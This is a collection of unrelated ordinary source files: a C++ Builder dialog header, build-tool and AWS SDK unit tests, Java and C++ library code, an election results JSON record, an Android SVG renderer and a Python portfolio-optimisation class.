<gh_stars>1000+ //--------------------------------------------------------------------------- #ifndef logstrdlgH #define logstrdlgH //--------------------------------------------------------------------------- #include <Classes.hpp> #include <Controls.hpp> #include <StdCtrls.hpp> #include <Forms.hpp> #include <Dialogs.hpp> #include <Buttons.hpp> //--------------------------------------------------------------------------- class TLogStrDialog : public TForm { __published: TButton *BtnCancel; TButton *BtnOk; TLabel *Label5; TLabel *Label6; TLabel *Label10; TComboBox *Stream1; TComboBox *Stream2; TButton *BtnStr1; TButton *BtnStr2; TEdit *FilePath1; TEdit *FilePath2; TButton *BtnFile1; TButton *BtnFile2; TLabel *LabelF1; TSaveDialog *SaveDialog; TCheckBox *TimeTagC; TCheckBox *Stream1C; TCheckBox *Stream2C; TSpeedButton *BtnKey; TCheckBox *Stream3C; TComboBox *Stream3; TButton *BtnStr3; TEdit *FilePath3; TButton *BtnFile3; TComboBox *SwapIntv; TLabel *Label1; TLabel *Label2; void __fastcall BtnOkClick(TObject *Sender); void __fastcall FormShow(TObject *Sender); void __fastcall Stream1Change(TObject *Sender); void __fastcall Stream2Change(TObject *Sender); void __fastcall BtnStr1Click(TObject *Sender); void __fastcall BtnStr2Click(TObject *Sender); void __fastcall BtnFile1Click(TObject *Sender); void __fastcall BtnFile2Click(TObject *Sender); void __fastcall Stream1CClick(TObject *Sender); void __fastcall Stream2CClick(TObject *Sender); void __fastcall BtnKeyClick(TObject *Sender); void __fastcall BtnStr3Click(TObject *Sender); void __fastcall BtnFile3Click(TObject *Sender); void __fastcall Stream3CClick(TObject *Sender); void __fastcall Stream3Change(TObject *Sender); private: AnsiString __fastcall GetFilePath(AnsiString path); AnsiString __fastcall SetFilePath(AnsiString path); void __fastcall SerialOpt(int index, int opt); void __fastcall TcpOpt(int index, int opt); void __fastcall UpdateEnable(void); public: int StreamC[3],Stream[3],LogTimeTag,LogAppend; AnsiString Paths[3][4],SwapInterval; AnsiString History[10],MntpHist[10]; __fastcall TLogStrDialog(TComponent* Owner); }; //--------------------------------------------------------------------------- extern PACKAGE TLogStrDialog *LogStrDialog; //--------------------------------------------------------------------------- #endif
807
6,205
import platform import textwrap import pytest from conans.test.utils.tools import TestClient conanfile = textwrap.dedent("""\ [generators] IntelCC """) intelprofile = textwrap.dedent("""\ [settings] os=%s arch=x86_64 arch_build=x86_64 compiler=intel-cc compiler.mode=dpcpp compiler.version=2021.3 compiler.libcxx=libstdc++ build_type=Release [options] [build_requires] [env] CC=dpcpp CXX=dpcpp [conf] tools.intel:installation_path=%s """) def get_intel_cc_generator_file(os_, installation_path, filename): profile = intelprofile % (os_, installation_path) client = TestClient() client.save({ "conanfile.txt": conanfile, "intelprofile": profile, }) client.run("install . -pr intelprofile") return client.load(filename) @pytest.mark.skipif(platform.system() != "Windows", reason="Requires Windows") def test_intel_cc_generator_windows(): os_ = "Windows" installation_path = "C:\\Program Files (x86)\\Intel\\oneAPI" conanintelsetvars = get_intel_cc_generator_file(os_, installation_path, "conanintelsetvars.bat") expected = textwrap.dedent("""\ @echo off call "C:\\Program Files (x86)\\Intel\\oneAPI\\setvars.bat" intel64 """) assert conanintelsetvars == expected @pytest.mark.skipif(platform.system() != "Linux", reason="Requires Linux") def test_intel_cc_generator_linux(): os_ = "Linux" installation_path = "/opt/intel/oneapi" conanintelsetvars = get_intel_cc_generator_file(os_, installation_path, "conanintelsetvars.sh") expected = '. "/opt/intel/oneapi/setvars.sh" intel64' assert conanintelsetvars == expected
638
676
<gh_stars>100-1000 package core.notifications; import core.datasource.CloudDataSource; import core.datasource.RestWrapper; import core.datasource.SdkItem; import java.util.List; import java.util.concurrent.Callable; import retrofit2.Call; import rx.Observable; public class CloudNotificationsDataSource extends CloudDataSource<NotificationsRequest, List<Notification>> { public CloudNotificationsDataSource(RestWrapper restWrapper) { super(restWrapper); } @Override protected Observable<SdkItem<List<Notification>>> execute( final SdkItem<NotificationsRequest> request, final RestWrapper service) { return Observable.fromCallable(new Callable<SdkItem<List<Notification>>>() { @Override public SdkItem<List<Notification>> call() throws Exception { Call<List<Notification>> notifications = service.<NotificationsService>get().getNotifications( request.getK().isAllNotifications(), request.getK().isParticipatingNotifications()); return new SdkItem<>(0, notifications.execute().body()); } }); } }
367
348
<filename>docs/data/leg-t2/039/03903569.json {"nom":"<NAME>","circ":"3ème circonscription","dpt":"Jura","inscrits":406,"abs":198,"votants":208,"blancs":13,"nuls":4,"exp":191,"res":[{"nuance":"LR","nom":"<NAME>","voix":123},{"nuance":"MDM","nom":"<NAME>","voix":68}]}
111
369
/** @file @brief Header @date 2015 @author Sensics, Inc. <http://sensics.com/osvr> */ // Copyright 2015 Sensics, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef INCLUDED_VideoBasedTracker_h_GUID_831CC0DD_16A5_43AB_12D3_AE86E1998ED4 #define INCLUDED_VideoBasedTracker_h_GUID_831CC0DD_16A5_43AB_12D3_AE86E1998ED4 // Internal Includes #include "Types.h" #include "LED.h" #include "LedIdentifier.h" #include "BeaconBasedPoseEstimator.h" #include "CameraParameters.h" #include "SBDBlobExtractor.h" #include <osvr/Util/ChannelCountC.h> // Library/third-party includes #include <opencv2/core/core.hpp> #include <boost/assert.hpp> // Standard includes #include <vector> #include <list> #include <functional> #include <algorithm> // Define the constant below to provide debugging (window showing video and // behavior, printing tracked positions) //#define VBHMD_DEBUG namespace osvr { namespace vbtracker { class VideoBasedTracker { public: VideoBasedTracker(ConfigParams const &params = ConfigParams{}); static BeaconIDPredicate getDefaultBeaconFixedPredicate() { return [](int id) { return id <= 4; }; } /// @name Sensor addition methods /// @{ /// @brief Adds a sensor, given an LedIdentifier and parameters to /// create a pose estimator. /// @param identifier Takes unique ownership of the passed LedIdentifier /// object /// @param camParams An object with the camera matrix and distortion /// parameters. /// @param locations A list of the 3d locations (in mm) of each marker /// @param emissionDirection Normalized vectors for each beacon in body /// space giving their emission direction. /// @param variance A single default base measurement variance used as a /// starting point for all beacons. /// @param autocalibrationFixedPredicate A function that, when given a /// 1-based ID of a beacon, returns "true" if the autocalibration /// routines should consider that beacon "fixed" and not subject to /// autocalibration. /// @param requiredInliers How many "good" points must be available /// @param permittedOutliers How many additional "bad" points we can /// have void addSensor(LedIdentifierPtr &&identifier, CameraParameters const &camParams, Point3Vector const &locations, Vec3Vector const &emissionDirection, double variance, BeaconIDPredicate const &autocalibrationFixedPredicate = getDefaultBeaconFixedPredicate(), size_t requiredInliers = 4, size_t permittedOutliers = 2) { addSensor(std::move(identifier), camParams, locations, emissionDirection, std::vector<double>{variance}, autocalibrationFixedPredicate, requiredInliers, permittedOutliers); } /// @overload /// /// For those who want the default variance but want to provide an /// autocalibration fixed predicate or more. void addSensor(LedIdentifierPtr &&identifier, CameraParameters const &camParams, Point3Vector const &locations, Vec3Vector const &emissionDirection, BeaconIDPredicate const &autocalibrationFixedPredicate, size_t requiredInliers = 4, size_t permittedOutliers = 2) { addSensor(std::move(identifier), camParams, locations, emissionDirection, std::vector<double>{}, autocalibrationFixedPredicate, requiredInliers, permittedOutliers); } /// @overload /// Takes a vector of default measurement variances, one per beacon. By /// default (if empty) a default overall base measurement variance is /// used. If only a single entry is in the vector, it is used for every /// beacon. /// /// (This is actually the one that does the work.) void addSensor( LedIdentifierPtr &&identifier, CameraParameters const &camParams, Point3Vector const &locations, Vec3Vector const &emissionDirection, std::vector<double> const &variance = std::vector<double>{}, BeaconIDPredicate const &autocalibrationFixedPredicate = getDefaultBeaconFixedPredicate(), size_t requiredInliers = 4, size_t permittedOutliers = 2, double beaconAutocalibErrorScale = 1); /// @} typedef std::function<void(OSVR_ChannelCount, OSVR_Pose3 const &)> PoseHandler; /// @brief The main method that processes an image into tracked poses. /// @return true if user hit q to quit in a debug window, if such a /// thing exists. bool processImage(cv::Mat frame, cv::Mat grayImage, OSVR_TimeValue const &tv, PoseHandler handler); /// For debug purposes BeaconBasedPoseEstimator const &getFirstEstimator() const { return *(m_estimators.front()); } /// For debug purposes BeaconBasedPoseEstimator &getFirstEstimator() { return *(m_estimators.front()); } private: /// @overload /// For advanced usage - this one requires YOU to add your beacons by /// passing a functor (probably a lambda) to do so. void addSensor( LedIdentifierPtr &&identifier, CameraParameters const &camParams, std::function<void(BeaconBasedPoseEstimator &)> const &beaconAdder, size_t requiredInliers = 4, size_t permittedOutliers = 2); void dumpKeypointDebugData(std::vector<cv::KeyPoint> const &keypoints); void drawLedCircleOnStatusImage(Led const &led, bool filled, cv::Vec3b color); void drawRecognizedLedIdOnStatusImage(Led const &led); bool m_debugHelpDisplayed = false; /// @name Images /// @{ cv::Mat m_frame; cv::Mat m_imageGray; cv::Mat m_thresholdImage; cv::Mat m_imageWithBlobs; cv::Mat m_statusImage; cv::Mat *m_shownImage = &m_statusImage; int m_debugFrame = 0; /// @} ConfigParams m_params; SBDBlobExtractor m_blobExtractor; cv::SimpleBlobDetector::Params m_sbdParams; /// @brief Test (with asserts) what Ryan thinks are the invariants. Will /// inline right out of existence in non-debug builds. void m_assertInvariants() const { BOOST_ASSERT_MSG( m_identifiers.size() == m_led_groups.size(), "Expected to have as many identifier objects as LED groups"); BOOST_ASSERT_MSG(m_identifiers.size() == m_estimators.size(), "Expected to have as many identifier objects as " "estimator objects"); for (auto &e : m_estimators) { BOOST_ASSERT_MSG( e->getNumBeacons() > 4, "Expected each estimator to have at least 4 beacons"); } } /// @name Structures needed to do the tracking. /// @{ LedIdentifierList m_identifiers; LedGroupList m_led_groups; EstimatorList m_estimators; /// @} /// @brief The pose that we report OSVR_PoseState m_pose; /// A captured copy of the camera parameters; CameraParameters m_camParams; }; } // namespace vbtracker } // namespace osvr #endif // INCLUDED_VideoBasedTracker_h_GUID_831CC0DD_16A5_43AB_12D3_AE86E1998ED4
3,559
1,510
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.drill.exec.physical.impl; import org.apache.drill.exec.proto.ExecProtos.FragmentHandle; /** * Node which is the last processing node in a query plan. FragmentTerminals * include Exchange output nodes and storage nodes. They are there driving force * behind the completion of a query. * </p> * Assumes that all implementations of {@link RootExec} assume that all their * methods are called by the same thread. */ public interface RootExec extends AutoCloseable { /** * Do the next batch of work. * * @return Whether or not additional batches of work are necessary. False * means that this fragment is done. */ boolean next(); /** * Inform sender that receiving fragment is finished and doesn't need any more * data. This can be called multiple times (once for each downstream * receiver). If all receivers are finished then a subsequent call to * {@link #next()} will return false. * * @param handle * The handle pointing to the downstream receiver that does not need * anymore data. */ void receivingFragmentFinished(FragmentHandle handle); /** * Dump failed batches' state preceded by its parent's state to logs. Invoked * when there is a failure during fragment execution. * * @param t the exception thrown by an operator and which therefore * records, in its stack trace, which operators were active on the stack */ void dumpBatches(Throwable t); }
611
910
<filename>docs/action/java/ic_invert_colors.java package com.github.megatronking.svg.iconlibs; import android.content.Context; import android.graphics.Canvas; import android.graphics.ColorFilter; import android.graphics.Paint; import com.github.megatronking.svg.support.SVGRenderer; /** * AUTO-GENERATED FILE. DO NOT MODIFY. * * This class was automatically generated by the * SVG-Generator. It should not be modified by hand. */ public class ic_invert_colors extends SVGRenderer { public ic_invert_colors(Context context) { super(context); mAlpha = 1.0f; mWidth = dip2px(24.0f); mHeight = dip2px(24.0f); } @Override public void render(Canvas canvas, int w, int h, ColorFilter filter) { final float scaleX = w / 24.0f; final float scaleY = h / 24.0f; mPath.reset(); mRenderPath.reset(); mFinalPathMatrix.setValues(new float[]{1.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 1.0f}); mFinalPathMatrix.postScale(scaleX, scaleY); mPath.moveTo(17.66f, 7.93f); mPath.lineTo(12.0f, 2.27f); mPath.lineTo(6.34f, 7.93f); mPath.rCubicTo(-3.12f, 3.12f, -3.12f, 8.19f, 0.0f, 11.31f); mPath.cubicTo(7.9f, 20.8f, 9.95f, 21.58f, 12.0f, 21.58f); mPath.rCubicTo(2.05f, 0.0f, 4.1f, -0.78f, 5.66f, -2.34f); mPath.rCubicTo(3.12f, -3.12f, 3.12f, -8.19f, 0.0f, -11.31f); mPath.close(); mPath.moveTo(17.66f, 7.93f); mPath.moveTo(12.0f, 19.59f); mPath.rCubicTo(-1.6f, 0.0f, -3.11f, -0.62f, -4.24f, -1.76f); mPath.cubicTo(6.62f, 16.69f, 6.0f, 15.19f, 6.0f, 13.59f); mPath.rCubicTo(0.0f, -1.5999994f, 0.62f, -3.11f, 1.76f, -4.24f); mPath.lineTo(12.0f, 5.1f); mPath.rLineTo(0f, 14.49f); mPath.close(); mPath.moveTo(12.0f, 19.59f); mRenderPath.addPath(mPath, mFinalPathMatrix); if (mFillPaint == null) { mFillPaint = new Paint(); mFillPaint.setStyle(Paint.Style.FILL); mFillPaint.setAntiAlias(true); } mFillPaint.setColor(applyAlpha(-16777216, 1.0f)); mFillPaint.setColorFilter(filter); canvas.drawPath(mRenderPath, mFillPaint); } }
1,255
1,745
<filename>Source/Scripting/bsfScript/Generated/BsScriptAudio.generated.cpp //********************************* bs::framework - Copyright 2018-2019 <NAME> ************************************// //*********** Licensed under the MIT license. See LICENSE.md for full terms. This notice is not to be removed. ***********// #include "BsScriptAudio.generated.h" #include "BsMonoMethod.h" #include "BsMonoClass.h" #include "BsMonoUtil.h" #include "../../../Foundation/bsfCore/Audio/BsAudio.h" #include "BsScriptAudioDevice.generated.h" namespace bs { ScriptAudio::ScriptAudio(MonoObject* managedInstance) :ScriptObject(managedInstance) { } void ScriptAudio::initRuntimeData() { metaData.scriptClass->addInternalCall("Internal_setVolume", (void*)&ScriptAudio::Internal_setVolume); metaData.scriptClass->addInternalCall("Internal_getVolume", (void*)&ScriptAudio::Internal_getVolume); metaData.scriptClass->addInternalCall("Internal_setPaused", (void*)&ScriptAudio::Internal_setPaused); metaData.scriptClass->addInternalCall("Internal_isPaused", (void*)&ScriptAudio::Internal_isPaused); metaData.scriptClass->addInternalCall("Internal_setActiveDevice", (void*)&ScriptAudio::Internal_setActiveDevice); metaData.scriptClass->addInternalCall("Internal_getActiveDevice", (void*)&ScriptAudio::Internal_getActiveDevice); metaData.scriptClass->addInternalCall("Internal_getDefaultDevice", (void*)&ScriptAudio::Internal_getDefaultDevice); metaData.scriptClass->addInternalCall("Internal_getAllDevices", (void*)&ScriptAudio::Internal_getAllDevices); } void ScriptAudio::Internal_setVolume(float volume) { Audio::instance().setVolume(volume); } float ScriptAudio::Internal_getVolume() { float tmp__output; tmp__output = Audio::instance().getVolume(); float __output; __output = tmp__output; return __output; } void ScriptAudio::Internal_setPaused(bool paused) { Audio::instance().setPaused(paused); } bool ScriptAudio::Internal_isPaused() { bool tmp__output; tmp__output = Audio::instance().isPaused(); bool __output; __output = tmp__output; return __output; } void ScriptAudio::Internal_setActiveDevice(__AudioDeviceInterop* device) { AudioDevice tmpdevice; tmpdevice = ScriptAudioDevice::fromInterop(*device); Audio::instance().setActiveDevice(tmpdevice); } void ScriptAudio::Internal_getActiveDevice(__AudioDeviceInterop* __output) { AudioDevice tmp__output; tmp__output = Audio::instance().getActiveDevice(); __AudioDeviceInterop interop__output; interop__output = ScriptAudioDevice::toInterop(tmp__output); MonoUtil::valueCopy(__output, &interop__output, ScriptAudioDevice::getMetaData()->scriptClass->_getInternalClass()); } void ScriptAudio::Internal_getDefaultDevice(__AudioDeviceInterop* __output) { AudioDevice tmp__output; tmp__output = Audio::instance().getDefaultDevice(); __AudioDeviceInterop interop__output; interop__output = ScriptAudioDevice::toInterop(tmp__output); MonoUtil::valueCopy(__output, &interop__output, ScriptAudioDevice::getMetaData()->scriptClass->_getInternalClass()); } MonoArray* ScriptAudio::Internal_getAllDevices() { Vector<AudioDevice> vec__output; vec__output = Audio::instance().getAllDevices(); MonoArray* __output; int arraySize__output = (int)vec__output.size(); ScriptArray array__output = ScriptArray::create<ScriptAudioDevice>(arraySize__output); for(int i = 0; i < arraySize__output; i++) { array__output.set(i, ScriptAudioDevice::toInterop(vec__output[i])); } __output = array__output.getInternal(); return __output; } }
1,140
1,467
/* * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ package software.amazon.awssdk.enhanced.dynamodb.internal.operations; import org.junit.Test; import org.junit.runner.RunWith; import org.mockito.Mock; import org.mockito.junit.MockitoJUnitRunner; import software.amazon.awssdk.enhanced.dynamodb.OperationContext; import software.amazon.awssdk.enhanced.dynamodb.TableMetadata; import software.amazon.awssdk.enhanced.dynamodb.functionaltests.models.FakeItem; import software.amazon.awssdk.enhanced.dynamodb.functionaltests.models.FakeItemWithIndices; import software.amazon.awssdk.enhanced.dynamodb.functionaltests.models.FakeItemWithSort; import software.amazon.awssdk.enhanced.dynamodb.model.CreateTableEnhancedRequest; import software.amazon.awssdk.services.dynamodb.DynamoDbClient; import software.amazon.awssdk.services.dynamodb.model.DeleteTableRequest; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.is; import static org.mockito.ArgumentMatchers.same; import static org.mockito.Mockito.verify; @RunWith(MockitoJUnitRunner.class) public class DeleteTableOperationTest { private static final String TABLE_NAME = "table-name"; private static final OperationContext PRIMARY_CONTEXT = DefaultOperationContext.create(TABLE_NAME, TableMetadata.primaryIndexName()); private static final OperationContext GSI_1_CONTEXT = DefaultOperationContext.create(TABLE_NAME, "gsi_1"); @Mock private DynamoDbClient mockDynamoDbClient; @Test public void getServiceCall_makesTheRightCall() { DeleteTableOperation<FakeItem> operation = DeleteTableOperation.create(); DeleteTableRequest deleteTableRequest = DeleteTableRequest.builder().build(); operation.serviceCall(mockDynamoDbClient).apply(deleteTableRequest); verify(mockDynamoDbClient).deleteTable(same(deleteTableRequest)); } @Test public void generateRequest_from_deleteTableOperation() { DeleteTableOperation<FakeItemWithSort> deleteTableOperation = DeleteTableOperation.create(); final DeleteTableRequest deleteTableRequest = deleteTableOperation .generateRequest(FakeItemWithSort.getTableSchema(), PRIMARY_CONTEXT, null); assertThat(deleteTableRequest, is(DeleteTableRequest.builder().tableName(TABLE_NAME).build())); } @Test(expected = IllegalArgumentException.class) public void generateRequest_doesNotWorkForIndex() { DeleteTableOperation<FakeItemWithIndices> operation = DeleteTableOperation.create(); operation.generateRequest(FakeItemWithIndices.getTableSchema(), GSI_1_CONTEXT, null); } }
1,064
774
"""The module facilitates a class `EfficientFrontier` that can be used to optimise a portfolio by minimising a cost/objective function. """ import numpy as np import pandas as pd import scipy.optimize as sco import matplotlib.pylab as plt import finquant.minimise_fun as min_fun from finquant.quants import annualised_portfolio_quantities class EfficientFrontier(object): """An object designed to perform optimisations based on minimising a cost/objective function. It can find parameters for portfolios with - minimum volatility - maximum Sharpe ratio - minimum volatility for a given target return - maximum Sharpe ratio for a given target volatility It also provides functions to compute the Efficient Frontier between a range of Returns, plot the Efficient Frontier, plot the optimal portfolios (minimum Volatility and maximum Sharpe Ratio). """ def __init__( self, mean_returns, cov_matrix, risk_free_rate=0.005, freq=252, method="SLSQP" ): """ :Input: :mean_returns: ``pandas.Series``, individual expected returns for all stocks in the portfolio :cov_matrix: ``pandas.DataFrame``, covariance matrix of returns :risk_free_rate: ``int``/``float`` (default= ``0.005``), risk free rate :freq: ``int`` (default= ``252``), number of trading days, default value corresponds to trading days in a year :method: ``string`` (default= ``"SLSQP"``), type of solver method to use, must be one of: - 'Nelder-Mead' - 'Powell' - 'CG' - 'BFGS' - 'Newton-CG' - 'L-BFGS-B' - 'TNC' - 'COBYLA' - 'SLSQP' - 'trust-constr' - 'dogleg' - 'trust-ncg' - 'trust-exact' - 'trust-krylov' all of which are officially supported by scipy.optimize.minimize """ if not isinstance(mean_returns, pd.Series): raise ValueError("mean_returns is expected to be a pandas.Series.") if not isinstance(cov_matrix, pd.DataFrame): raise ValueError("cov_matrix is expected to be a pandas.DataFrame") supported_methods = [ "Nelder-Mead", "Powell", "CG", "BFGS", "Newton-CG", "L-BFGS-B", "TNC", "COBYLA", "SLSQP", "trust-constr", "dogleg", "trust-ncg", "trust-exact", "trust-krylov", ] if not isinstance(risk_free_rate, (int, float)): raise ValueError("risk_free_rate is expected to be an integer or float.") if not isinstance(method, str): raise ValueError("method is expected to be a string.") if method not in supported_methods: raise ValueError("method is not supported by scipy.optimize.minimize.") # instance variables self.mean_returns = mean_returns self.cov_matrix = cov_matrix self.risk_free_rate = risk_free_rate self.freq = freq self.method = method self.names = list(mean_returns.index) self.num_stocks = len(self.names) self.last_optimisation = "" # set numerical parameters bound = (0, 1) self.bounds = tuple(bound for stock in range(self.num_stocks)) self.x0 = np.array(self.num_stocks * [1.0 / self.num_stocks]) self.constraints = {"type": "eq", "fun": lambda x: np.sum(x) - 1} # placeholder for optimised values/weights self.weights = None self.df_weights = None self.efrontier = None def minimum_volatility(self, save_weights=True): """Finds the portfolio with the minimum volatility. :Input: :save_weights: ``boolean`` (default= ``True``), for internal use only. Whether to save the optimised weights in the instance variable ``weights`` (and ``df_weights``). Useful for the case of computing the efficient frontier after doing an optimisation, else the optimal weights would be overwritten by the efficient frontier computations. Best to ignore this argument. :Output: :df_weights: - if "save_weights" is True: a ``pandas.DataFrame`` of weights/allocation of stocks within the optimised portfolio. :weights: - if "save_weights" is False: a ``numpy.ndarray`` of weights/allocation of stocks within the optimised portfolio. """ if not isinstance(save_weights, bool): raise ValueError("save_weights is expected to be a boolean.") args = (self.mean_returns.values, self.cov_matrix.values) # optimisation result = sco.minimize( min_fun.portfolio_volatility, args=args, x0=self.x0, method=self.method, bounds=self.bounds, constraints=self.constraints, ) # if successful, set self.last_optimisation self.last_optimisation = "Minimum Volatility" # set optimal weights if save_weights: self.weights = result["x"] self.df_weights = self._dataframe_weights(self.weights) return self.df_weights else: # not setting instance variables, and returning array instead # of pandas.DataFrame return result["x"] def maximum_sharpe_ratio(self, save_weights=True): """Finds the portfolio with the maximum Sharpe Ratio, also called the tangency portfolio. :Input: :save_weights: ``boolean`` (default= ``True``), for internal use only. Whether to save the optimised weights in the instance variable ``weights`` (and ``df_weights``). Useful for the case of computing the efficient frontier after doing an optimisation, else the optimal weights would be overwritten by the efficient frontier computations. Best to ignore this argument. :Output: :df_weights: - if "save_weights" is True: a ``pandas.DataFrame`` of weights/allocation of stocks within the optimised portfolio. :weights: - if "save_weights" is False: a ``numpy.ndarray`` of weights/allocation of stocks within the optimised portfolio. """ if not isinstance(save_weights, bool): raise ValueError("save_weights is expected to be a boolean.") args = (self.mean_returns.values, self.cov_matrix.values, self.risk_free_rate) # optimisation result = sco.minimize( min_fun.negative_sharpe_ratio, args=args, x0=self.x0, method=self.method, bounds=self.bounds, constraints=self.constraints, ) # if successful, set self.last_optimisation self.last_optimisation = "Maximum Sharpe Ratio" # set optimal weights if save_weights: self.weights = result["x"] self.df_weights = self._dataframe_weights(self.weights) return self.df_weights else: # not setting instance variables, and returning array instead # of pandas.DataFrame return result["x"] def efficient_return(self, target, save_weights=True): """Finds the portfolio with the minimum volatility for a given target return. :Input: :target: ``float``, the target return of the optimised portfolio. :save_weights: ``boolean`` (default= ``True``), for internal use only. Whether to save the optimised weights in the instance variable ``weights`` (and ``df_weights``). Useful for the case of computing the efficient frontier after doing an optimisation, else the optimal weights would be overwritten by the efficient frontier computations. Best to ignore this argument. :Output: :df_weights: - if "save_weights" is True: a ``pandas.DataFrame`` of weights/allocation of stocks within the optimised portfolio. :weights: - if "save_weights" is False: a ``numpy.ndarray`` of weights/allocation of stocks within the optimised portfolio. """ if not isinstance(target, (int, float)): raise ValueError("target is expected to be an integer or float.") if not isinstance(save_weights, bool): raise ValueError("save_weights is expected to be a boolean.") args = (self.mean_returns.values, self.cov_matrix.values) # here we have an additional constraint: constraints = ( self.constraints, { "type": "eq", "fun": lambda x: min_fun.portfolio_return( x, self.mean_returns, self.cov_matrix ) - target, }, ) # optimisation result = sco.minimize( min_fun.portfolio_volatility, args=args, x0=self.x0, method=self.method, bounds=self.bounds, constraints=constraints, ) # if successful, set self.last_optimisation self.last_optimisation = "Efficient Return" # set optimal weights if save_weights: self.weights = result["x"] self.df_weights = self._dataframe_weights(self.weights) return self.df_weights else: # not setting instance variables, and returning array instead # of pandas.DataFrame return result["x"] def efficient_volatility(self, target): """Finds the portfolio with the maximum Sharpe ratio for a given target volatility. :Input: :target: ``float``, the target volatility of the optimised portfolio. :Output: :df_weights: a ``pandas.DataFrame`` of weights/allocation of stocks within the optimised portfolio. """ if not isinstance(target, (int, float)): raise ValueError("target is expected to be an integer or float.") args = (self.mean_returns.values, self.cov_matrix.values, self.risk_free_rate) # here we have an additional constraint: constraints = ( self.constraints, { "type": "eq", "fun": lambda x: min_fun.portfolio_volatility( x, self.mean_returns, self.cov_matrix ) - target, }, ) # optimisation result = sco.minimize( min_fun.negative_sharpe_ratio, args=args, x0=self.x0, method=self.method, bounds=self.bounds, constraints=constraints, ) # if successful, set self.last_optimisation self.last_optimisation = "Efficient Volatility" # set optimal weights self.weights = result["x"] self.df_weights = self._dataframe_weights(self.weights) return self.df_weights def efficient_frontier(self, targets=None): """Gets portfolios for a range of given target returns. If no targets were provided, the algorithm will find the minimum and maximum returns of the portfolio's individual stocks, and set the target range according to those values. Results in the Efficient Frontier. :Input: :targets: ``list``/``numpy.ndarray`` (default= ``None``) of ``floats``, range of target returns. :Output: :efrontier: ``numpy.ndarray`` of (volatility, return) values """ if targets is not None and not isinstance(targets, (list, np.ndarray)): raise ValueError("targets is expected to be a list or numpy.ndarray") elif targets is None: # set range of target returns from the individual expected # returns of the stocks in the portfolio. min_return = self.mean_returns.min() * self.freq max_return = self.mean_returns.max() * self.freq targets = np.linspace(round(min_return, 3), round(max_return, 3), 100) # compute the efficient frontier efrontier = [] for target in targets: weights = self.efficient_return(target, save_weights=False) efrontier.append( [ annualised_portfolio_quantities( weights, self.mean_returns, self.cov_matrix, freq=self.freq )[1], target, ] ) self.efrontier = np.array(efrontier) return self.efrontier def plot_efrontier(self): """Plots the Efficient Frontier.""" if self.efrontier is None: # compute efficient frontier first self.efficient_frontier() plt.plot( self.efrontier[:, 0], self.efrontier[:, 1], linestyle="-.", color="black", lw=2, label="Efficient Frontier", ) plt.title("Efficient Frontier") plt.xlabel("Volatility") plt.ylabel("Expected Return") plt.legend() def plot_optimal_portfolios(self): """Plots markers of the optimised portfolios for - minimum Volatility, and - maximum Sharpe Ratio. """ # compute optimal portfolios min_vol_weights = self.minimum_volatility(save_weights=False) max_sharpe_weights = self.maximum_sharpe_ratio(save_weights=False) # compute return and volatility for each portfolio min_vol_vals = list( annualised_portfolio_quantities( min_vol_weights, self.mean_returns, self.cov_matrix, freq=self.freq ) )[0:2] min_vol_vals.reverse() max_sharpe_vals = list( annualised_portfolio_quantities( max_sharpe_weights, self.mean_returns, self.cov_matrix, freq=self.freq ) )[0:2] max_sharpe_vals.reverse() plt.scatter( min_vol_vals[0], min_vol_vals[1], marker="X", color="g", s=150, label="EF min Volatility", ) plt.scatter( max_sharpe_vals[0], max_sharpe_vals[1], marker="X", color="r", s=150, label="EF max Sharpe Ratio", ) plt.legend() def _dataframe_weights(self, weights): """Generates and returns a ``pandas.DataFrame`` from given array weights. :Input: :weights: ``numpy.ndarray``, weights of the stock of the portfolio :Output: :weights: ``pandas.DataFrame`` with the weights/allocation of stocks """ if not isinstance(weights, np.ndarray): raise ValueError("weights is expected to be a numpy.ndarray") return pd.DataFrame(weights, index=self.names, columns=["Allocation"]) def properties(self, verbose=False): """Calculates and prints out Expected annualised Return, Volatility and Sharpe Ratio of optimised portfolio. :Input: :verbose: ``boolean`` (default= ``False``), whether to print out properties or not """ if not isinstance(verbose, bool): raise ValueError("verbose is expected to be a boolean.") if self.weights is None: raise ValueError("Perform an optimisation first.") expected_return, volatility, sharpe = annualised_portfolio_quantities( self.weights, self.mean_returns, self.cov_matrix, risk_free_rate=self.risk_free_rate, freq=self.freq, ) if verbose: string = "-" * 70 string += "\nOptimised portfolio for {}".format(self.last_optimisation) string += "\n\nTime window/frequency: {}".format(self.freq) string += "\nRisk free rate: {}".format(self.risk_free_rate) string += "\nExpected annual Return: {:.3f}".format(expected_return) string += "\nAnnual Volatility: {:.3f}".format(volatility) string += "\nSharpe Ratio: {:.3f}".format(sharpe) string += "\n\nOptimal weights:" string += "\n" + str(self.df_weights.transpose()) string += "\n" string += "-" * 70 print(string) return (expected_return, volatility, sharpe)
7,655
413
